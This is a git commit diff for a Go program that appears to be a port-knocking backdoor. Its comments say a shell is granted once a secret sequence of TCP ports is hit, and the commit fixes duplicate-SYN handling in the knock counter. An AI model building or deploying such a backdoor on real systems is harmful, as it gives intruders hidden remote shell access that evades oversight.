fixed 2x TCP issue
This commit is contained in:
6
main.go
6
main.go
@@ -29,6 +29,7 @@ type targetInfo struct {
|
|||||||
// when secretCounter == len(secretPorts),
|
// when secretCounter == len(secretPorts),
|
||||||
// port knocking is complete and shell is given
|
// port knocking is complete and shell is given
|
||||||
secretCounter int
|
secretCounter int
|
||||||
|
lastPort layers.TCPPort
|
||||||
}
|
}
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -112,8 +113,13 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
|
|||||||
if tcp.SYN {
|
if tcp.SYN {
|
||||||
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
|
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
|
||||||
// Check dst port for secret port
|
// Check dst port for secret port
|
||||||
|
tInfo.lastPort = tcp.DstPort
|
||||||
|
|
||||||
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
|
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
|
||||||
tInfo.secretCounter++
|
tInfo.secretCounter++
|
||||||
|
tInfo.lastPort = tcp.DstPort
|
||||||
|
} else if tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) { // fixed TCP 2x duplication issue
|
||||||
|
fmt.Println("duplicate tcp") // pass
|
||||||
} else {
|
} else {
|
||||||
// reset counter
|
// reset counter
|
||||||
tInfo.secretCounter = 0
|
tInfo.secretCounter = 0
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"bufio"
|
"bufio"
|
||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
|
|||||||
Reference in New Issue
Block a user